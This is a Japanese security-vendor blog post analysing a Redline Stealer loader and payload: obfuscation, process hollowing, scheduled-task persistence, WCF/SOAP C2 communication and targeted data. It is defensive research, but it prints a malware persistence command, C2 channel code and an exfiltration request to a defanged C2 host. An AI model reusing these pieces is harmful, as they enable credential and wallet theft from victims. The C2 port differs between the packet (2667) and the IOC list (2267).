FortiGuard Labs 脅威リサーチ

CVE-2017-11882を悪用したExcel文書によるマルウェアの配信:パート2

投稿者 Xiaopeng Zhang | 2023年1月12日

FortiGuard Labsは先頃、不正なファイルが埋め込まれ、実際の攻撃に使用されたExcel文書をキャプチャしました。この埋め込みファイルは無作為なファイル名が付けられており、CVE-2017-11882の脆弱性を悪用して不正なコードを実行し、被害者のデバイスにマルウェアを配信して実行します。

ブログのパート1では、細工されたこのExcel文書がどのようにCVE-2017-11882を悪用し、そのときどのような振る舞いをするかを説明しました。関与していたWebサイト(hxxp[:]//lutanedukasi[.]co[.]id/wp-includes/{file name})は、FormbookやRedlineなど多数のマルウェアファミリーのサンプルを保存 / 配信していたことが確認されています。ブログのパート1では、このWebサイトにある最近のFormbookサンプルを詳細に調査しました。たとえば、被害者のデバイスにFormbookがダウンロードされて展開される方法や、このFormbook亜種がどのようなC2サーバーを使用しているか、などを分析しました。

Redline(別名:Redline Stealerとも呼ばれる)は市販されているマルウェアファミリーで、感染したデバイスから保存済みの認証情報、オートコンプリートデータ、クレジットカード情報などの機密情報を収集することを目的としています。

影響を受けるプラットフォーム: Microsoft Windows
影響を受けるユーザー:     Windowsユーザー
影響:             被害者のデバイスを制御して、機密情報を収集
深刻度:            クリティカル

パート2では、上記と同じWebサイトから収集したRedlineサンプルの検証から始めます。このレポートでは、サンプルからRedlineペイロードが抽出される方法や、感染したデバイスでRedlineを永続化する方法、さらには、被害者のデバイスからどのような機密情報が盗まれ、どのようにしてC2サーバーに送信されるかを解説します。

Redlineローダー

私が選択したRedlineサンプルは、Redlineローダーである「hxxp[:]//lutanedukasi[.]co[.]id/wp-includes/almac.exe」です。このサンプルは、SmartAssembly 6.9.0.114と呼ばれる.NET難読化ツールによって難読化されています。.Netデバッガーを使用してこのサンプルを分析したところ、広範囲な難読化機能を備えていることがわかりました。たとえば名前(クラス名、関数名、変数名など)の難読化、制御フローの難読化、文字列のエンコード、宣言による難読化などです。

図1.1は、デバッガーで開いたサンプルを示しています。SmartAssemblyを使用して名前とエントリポイント関数(main()関数)が難読化されています。

図1.1:難読化で厳重に保護されたRedlineサンプル

de4dotを使用して難読化を解除すると、サンプルは図1.2のようによりわかりやすく簡潔になります。

図1.2:難読化が解除されたRedlineサンプル

Redlineサンプル(Redlineローダー)は起動時に5秒間スリープしたあと、「brfmdFiaha」という.Netリソースからデータブロックを読み込みます。このデータブロックは、図1.3のようにキー文字列「brfmdFiaha」を使ってPEファイルに復号されます。ローカル変数「byte_」は、復号されてメモリのサブタブに表示されるPEファイルを指しています。

図1.3:PEファイルの抽出と復号

復号されたPEファイルは、このRedline亜種のペイロードファイルです。このあと、Redlineは復号されたPEファイルのプロセスホローイングを実行します。

Redlineペイロードファイルをプロセスホローイングするために、下表のWindows APIが動的に読み込まれます。

delegate0_0.Method

{Boolean Wow64GetThreadContext(IntPtr, Int32[])}

delegate1_0.Method

{Boolean GetThreadContext(IntPtr, Int32[])}

delegate2_0.Method

{Boolean ReadProcessMemory(IntPtr, Int32, Int32, Int32, Int32 ByRef)}

delegate3_0.Method

{Int32 VirtualAllocEx(IntPtr, IntPtr, UInt32, UInt32, UInt32)}

delegate4_0.Method

{Boolean WriteProcessMemory(IntPtr, Int32, Byte[], Int32, Int32 ByRef)}

delegate5_0.Method

{Boolean Wow64SetThreadContext(IntPtr, Int32[])}

delegate6_0.Method

{Boolean SetThreadContext(IntPtr, Int32[])}

delegate7_0.Method

{UInt32 ResumeThread(IntPtr)}

delegate8_0.Method

{Boolean CreateProcessAsUser(IntPtr, System.String, System.String, IntPtr, IntPtr, Boolean, UInt32, IntPtr, System.String, Struct1 ByRef, Struct0 ByRef)} System.Reflection.MethodInfo {System.Reflection.RuntimeMethodInfo}

Redlineは、CreateFlagにCREATE_SUSPENDED (0x4)を指定してCreateProcessAsUser() APIを呼び出し、Redlineローダーの複製プロセスを休止状態で作成します。次に、VirtualAllocEx()を呼び出し、休止状態のプロセスにメモリ領域を割り当てます。続いて、WriteProcessMemory() APIを呼び出し、Redlineローダーからこのメモリ領域にRedlineペイロードファイル全体をコピーします。そのあと、Wow64GetThreadContext()またはGetThreadContext()、ReadProcessMemory()、WriteProcessMemory()、Wow64SetThreadContext()またはSetThreadContext()の各APIを呼び出し、新しく作成したプロセスに、コピーしたペイロードファイルを配置します。Redlineローダーのプロセスを終了する前に、ResumeThread() APIを呼び出し、コピーしたRedlineペイロードから休止状態のプロセスを再開します。

Redlineの永続化メカニズム

Redlineローダーは、被害者のデバイスでRedlineを永続化する機能も備えています。Formbookがシステムレジストリ内の自動実行グループに追加されるのに対し、Redlineではシステムのタスクスケジューラーが使用されます。

Redlineローダーは次のコマンドラインコマンドを呼び出します。

"cmd.exe" /C schtasks /create /sc minute /mo 1 /tn "Nafdfnasia" /tr "'C:\Users\{user name}\AppData\Roaming\packtracer.exe'" /f

Redlineは、パラメーターを指定して「schtasks.exe」を実行し、「Nafdfnasia」という名前の新しいタスクアイテムを作成します。このタスクはタスクスケジューラーによって1分おきにトリガーされ、「packtracer.exe」というファイルを実行します。図2.1は、追加されたRedlineタスクのスクリーンショットです。

図2.1:タスクスケジューラーに追加されたRedlineタスクの詳細

「packtracer.exe」ファイルが何であるか疑問に思う方もおられるでしょう。上記のコマンドラインコマンドの実行後、RedlineはDOS「コピー」コマンドを実行してRedlineローダー自身を複製し、「%AppData%/packtracer.exe」という名前で保存されていました。この名前は、Redlineローダー内のハードコードされた定数文字列です。

以上の処理が完了すると、Redlineペイロードを抽出 / 実行するRedlineローダーが、Windowsタスクスケジューラーによって1分おきに実行されます。

Redlineペイロードファイルの詳細

私はさらに分析を進めるため、メモリからRedlineペイロードファイルをダンプしました。これは.Netフレームワークベースのプログラムで、難読化は行われていません。コードを調べた結果、RedlineとC2サーバー間の通信がWCF(Windows Communication Foundation)サービスを利用して確立されていることがわかりました。WCFがクライアントとサーバー間にチャネルを構築し、そのチャネル上でデータが転送されます。チャネルはChannelFactoryクラスによってXML-SOAP(Simple Object Access Protocol)プロトコル内でシールされています。

このようなチャネルを作成するコードセグメントを次に示します。

ChannelFactory<IRemoteEndpoint> channelFactory = new ChannelFactory<IRemoteEndpoint>

(

    SystemInfoHelper.CreateBind(), 

    new EndpointAddress("http://" + address + "/")

);

this.serviceInterfacce = channelFactory.CreateChannel();

ここは

  • ChannelFactoryオブジェクトの作成に使用されるIRemoteEndpointは、C2サーバープログラムに実装されたインタフェースです。
  • 「CreateBind()」で返される最初のパラメーターは、RedlineがSOAP 1.1メッセージの送信にHTTPを使用することを指定しています。
  • 2番目のパラメーターは、C2サーバーが、C2サーバーの情報を格納したEndpointAddressオブジェクトを使用することを指定しています。「address」は、クラスで定義されたC2サーバーのアドレスです(図3.1を参照)。
  • 「channelFactory.CreateChannel()」メソッドを呼び出すことで、RedlineとC2サーバー間のチャネル(TCP接続)を作成できます。Redlineはこのあと、C2サーバープログラムに実装されたIRemoteEndpointのメソッドから、戻り値をリモートで呼び出して取得することができます(該当する場合)。
図3.1:C2サーバーとRedlineリリースIDの定義

RedlineとC2サーバー間の呼び出しおよび通信に使用されるIRemoteEndpointインタフェースとメソッドの定義を次に示します。「OperationContract」および「ServiceContract」属性は、WCFサービスフレームワークを使用することを示しています。メソッドが呼び出されると、XML-SOAPデータ内にあるそのメソッド名は、「OperationContract」属性で指定された名前に置換されます。

[ServiceContract(Name = "Endpoint")]
public interface IRemoteEndpoint
{
    [
OperationContract(Name = "CheckConnect")]
    
bool
 CheckConnect();

    [
OperationContract(Name = "EnvironmentSettings")]
    
ScanningArgs
 GetArguments();

    [
OperationContract(Name = "SetEnvironment")]
    
void
 VerifyScanRequest(ScanResult user);

    [
OperationContract(Name = "GetUpdates")]
    
IList<UpdateTaskGetUpdates(ScanResult user);

    [
OperationContract(Name = "VerifyUpdate")]
    
void
 VerifyUpdate(ScanResult userint updateId);
}

CheckConnect()は、接続状態が正常かどうかを確認します。GetArguments()は、被害者のデバイスから盗み出すべき機密データをC2サーバーに問い合わせます。VerifyScanRequest()は、盗んだ情報をC2サーバーに送信します。GetUpdates()は、盗んだ情報を更新してC2サーバーに送信し、追加タスクをC2サーバーに問い合わせます。VerifyUpdate()は、GetUpdates()の呼び出しで要求されたタスクが完了したことをC2サーバーに通知します。

これらのメソッドを呼び出す実際のインスタンスを確認していきましょう。Redlineが「result = this.serviceInterfacce.CheckConnect();」を呼び出すとします。

要求パケットは次のとおりです。本文はSOAP内でシールされています。

POST / HTTP/1.1

Content-Type: text/xml; charset=utf-8

SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"

Host: sinmac[.]duckdns[.]org:2667

Content-Length: 137

Expect: 100-continue

Accept-Encoding: gzip, deflate

Connection: Keep-Alive

<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><CheckConnect xmlns="http://tempuri.org/"/></s:Body></s:Envelope>

応答パケットは次のとおりです。

HTTP/1.1 200 OK

Content-Length: 212

Content-Type: text/xml; charset=utf-8

Server: Microsoft-HTTPAPI/2.0

Date: Tue, 20 Sep 2022 18:45:28 GMT

<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><CheckConnectResponse xmlns="http://tempuri.org/"><CheckConnectResult>true</CheckConnectResult></CheckConnectResponse></s:Body></s:Envelope>

パケットの本文を見ると、C2サーバーに実装されたメソッドの戻り値は「true」であり、XMLタグ「<CheckConnectResult>」に格納されています。

RedlineとC2サーバー間のすべてのパケットは、作成されたチャネルを介して同じ方法で転送されます。

機密情報の窃取

次は、被害者の感染したデバイスからRedlineが機密情報を盗む方法を見ていきましょう。Redlineはリモートメソッド「GetArguments()」を呼び出し、C2サーバーが実行を指示したタスクを取得します。これにはスイッチフラグの設定が含まれており、標的とするソフトウェアからデータを窃取するかどうかや、被害者の個人データが保存されているWebブラウザのフォルダパスなどが指定されます。

図4.1:リモートメソッドGetArguments()から返された値

図4.1はデバッガーのスクリーンショットで、変数「settings」の値が表示されています。GetArguments()メソッドを呼び出すと、C2サーバーからXML SOAPデーが返され、そのデータからこれらの値が取得されます。

Redlineは、「settings」変数に格納されたスイッチフラグとファイルパスの情報に基づいて、被害者のデバイスから機密情報を盗み出すための22個のローカルメソッドを設計しました。

調査の結果、Redlineは以下の場所から情報を収集できることがわかりました。

Webブラウザ:

Chrome, Edge、Firefox、Opera、Waterfox、K-Meleon、IceDragon、Cyberfox、BlackHaw、Pale Moon、Iridium、7Star、ChromePlus、CentBrowser、Vivaldi、Chedot、Kometa、Elements Browser、Epic Privacy Browser、Sleipnir、Citrio、Coowon、liebao、QIP Surf、Dragon、Amigo、Torch、Yandex、Comodo、360Browser、Maxthon3、K-Melon、Sputnik、Nichrome、CocCoc、Chromodo、Brave-Browser、CryptoTab Browser、Chromiumプロジェクトで構築されたすべてのブラウザ

Eメールクライアント:

Mail.Ru and Thunderbird.

ソーシャル / ゲーム / IMクライアント:

Battle.net,  Steam, Discord, and Telegram.

FTP / VPNクライアント:

Uran, ProtonVPN, FileZilla, OpenVPN, and NordVPN.

デジタルウォレット:

Armory Wallet、YoroiWallet Wallet、Coinomi Wallet、Electrum Wallet、Ethereum、Exodus、JaxxxLiberty Wallet、TronLink、Nifty Wallet、MetaMask、MathWallet、Coinbase、BinanceChain、BraveWallet、GuardaWallet、EqualWallet、JaxxxLiberty、BitAppWallet、iWallet、Wombat、AtomicWallet、MewCx、GuildWallet、SaturnWallet、RoninWalletなど

 

Redlineは上記のデフォルトソフトウェアクライアントから、保存された認証情報、オートフィル、クレジットカード情報、トークン、秘密鍵、クッキー、プロファイル、ログなど、被害者の個人情報を盗み出すことができます。ファイル名に「txt」、「doc」、「key」、「wallet」、または「seed」が含まれていれば、被害者の[デスクトップ]および[ドキュメント]フォルダからあらゆるファイルを取得することも可能です。

Redlineは機密情報だけでなく、被害者の画面のスクリーンショットや、感染したデバイスの基本システムやハードウェアの情報も収集します。これにはOSのバージョン、プロセッサ情報、グラフィックカード情報、モニター情報、RAMの総容量、パブリックIPアドレス、ロケーション、ユーザー名、デフォルト言語、タイムゾーン、インストールされているプログラムやウイルス対策ソフトウェア、アンチスパイウェア、有効なプロセスのリストなどが含まれます。

図4.2:要求パケットと窃取したデータのビュー

これはC2サーバーに送信されたSOAP内のパケットと窃取データのビューです。Redlineがリモートメソッド「this.serviceInterfacce.VerifyScanRequest(result);」を呼び出すと、このデータが送信されます。このとき、パラメーター「result」には、被害者のデバイスから窃取した上記のデータがすべて格納されます。VerifyScanRequest()のメソッド定義に従い、WCFではこのパラメーターに「SetEnvironment」という別の名前が付けられます。これ以降、このパケットでは図4.2のように「SetEnvironment」が使用されます。

Redline C2サーバー側のツール

私は調査を目的に、C2サーバープログラムをどうにか入手することができました。窃取した情報をRedlineシステムから受信すると、Redline C2サーバーは図5.1のように[Logs(ログ)]サブタブに1つのアイテムを表示し、攻撃者はサブタブのメニューからその窃取データを表示することができます。

図5.1:C2サーバープログラムのインタフェース

C2サーバーは、各被害者の識別にHWIDを使用します。これは、被害者のドメイン名、ユーザー名、およびディスクドライブのシリアル番号で構成されるMD5ハッシュコードです。

図5.2は[Redline settings(Redline設定)]サブタブのスクリーンショットで、攻撃者が有効 / 無効にできる主要機能が表示されています。これらの機能を使用して、被害者のデバイスでスキャンするファイル、パス、フィルタを追加 / 削除することもできます。

図5.2:Redlineの機能

コンテキストメニューの[System Info(システム情報)]をクリックすると、ポップアップウィンドウが開き、右側に窃取したシステム情報、左側にスクリーンショットが表示されます(図5.3)。

図5.3:システム情報

図5.4は、収集されたFTPクライアントの認証情報を示しています。これは、Redlineが私のテストマシンから盗み出したものです。

図5.4:FTPクライアントの認証情報
図5.5:[Statistics(統計)]サブタブ

サーバー側のツールは、被害者から入手した情報を集約できる統計機能も備えています。

フォーティネットのソリューション

フォーティネットのお客様は、FortiGuardのWebフィルタリング、IPS、およびアンチウイルスサービスによって、以下のように保護されています。

ダウンロード用のURL、およびC2サーバーは、FortiGuard Webフィルタリングサービスによって「不正Webサイト」に分類されます。

FortiGuard CDR(コンテンツ無害化)サービスは、オリジナルのExcel文書に埋め込まれたファイルを無害化できます。

FortiGuard Labsは、アンチウイルスシグネチャ「MSIL/Redline.8B8C!tr」を使用してこのRedline亜種を検知します。

FortiGuardアンチウイルスサービスは、FortiGateFortiMail、FortiClient、およびFortiEDRによってサポートされます。これらの各ソリューションには、Fortinetアンチウイルスエンジンが含まれています。したがって、これらの製品をお使いのお客様は最新の機能で保護されています。

FortiGuard Labsは、IPSシグネチャ「RedLine.Stealer.Botnet」でRedlineのトラフィックを検知します。

フォーティネットのデジタルリスク保護サービスであるFortiReconは、脅威アクターがダークウェブで販売し、ネットワークの侵害にも利用可能なスティーラー(Redlineなど)による認証情報の窃取を常時監視しています。FortiReconのトライアルにお申し込みいただくと、お客様のネットワークやデータへの差し迫った脅威を早期に警告する方法をご確認いただけます。

以下はFortiReconのスクリーンショットで、ダークウェブで販売されているRedlineによって窃取された情報が表示されています。FortiReconのお客様は、このRedlineの脅威について早い段階で警告を受け取ることができました。

フォーティネットが無償で提供するNSEトレーニングNSE 1 – 情報セキュリティ意識向上も、是非ご利用いただくことをお勧めします。このトレーニングにはインターネットの脅威に関するモジュールが含まれ、エンドユーザーはフィッシング攻撃を識別して自身を防御する方法を学習できます。

IOC(Indicator of Compromise:侵害指標)

URL:

hxxp[:]//lutanedukasi[.]co[.]id/wp-includes/almac.exe

RedlineC2サーバー:

“sinmac[.]duckdns[.]org:2267”

サンプルSHA-256:

[GAT412-IFF22.xlsx]

D1EA94C241E00E8E59A7212F30A9117393F9E883D2B509E566505BC337C473E3

[Redline, almac.exe]

9D621005649A185E07D44EC7906530B8269DF0A84587DEB3AAC8707C5DD88B8C